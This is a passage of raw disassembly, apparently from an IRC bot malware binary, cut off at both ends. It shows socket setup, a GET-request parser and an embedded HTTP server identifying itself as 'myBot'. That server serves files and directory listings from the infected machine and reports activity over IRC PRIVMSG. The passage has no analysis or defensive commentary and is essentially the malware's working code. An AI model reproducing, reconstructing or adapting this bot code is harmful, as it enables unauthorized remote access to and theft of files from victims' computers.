0FFFFCA8Ah, 90006A59h, 2D20D2E8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0C68156Ah, 50004338h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 468FFFFh, 50004338h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337FCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337E468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337DC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337C468h dd 8D61EB00h, 0FFFF5085h, 37BC68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 37AC680Dh, 40EB0043h, 0FF50858Dh dd 0A468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 9068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43378Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43376Ch dd 2F1E957h, 64BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43374C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433748h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433734h, 27BE9h, 50858D00h dd 68FFFFFFh, 43372Ch, 0D352E850h, 85590000h, 347559C0h dd 0BE0A6Ah, 59004337h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0F868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36E0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336D8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 4336B068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 4336A868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43369Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43367C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43367468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43364868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 43362Ch, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 36146817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35F468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDAB0h, 562EEB59h, 0D068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C9C0h, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 4335B4h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCF8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCF8 call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCF8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2670000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCF8 call near ptr 71AB1AF4h nop push 1 call near ptr 2670F10h nop test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCF8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAFA4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEEC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB040 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF8C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE90 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB038 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAFBC test eax, eax jg short loc_40F2F7 push esi call dword_4CB03C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA60 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43384C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB040 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB03C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF38 push eax lea eax, [ebp+var_8F0] push offset unk_433824 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A63h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2750000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2740000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFF4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB03C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26E0A63h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293F4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_4299C8 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2680C1Eh push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AD8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB03C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 27109BDh nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2750CC5h push esi mov [ebp+var_330], eax call near ptr 26609B7h nop loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433AA4 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEE4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi nop call near ptr 2680000h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call near ptr 2670F10h nop jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB03C nop call near ptr 26807C8h push eax lea eax, [ebp+var_8C4] push offset unk_433A6C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, 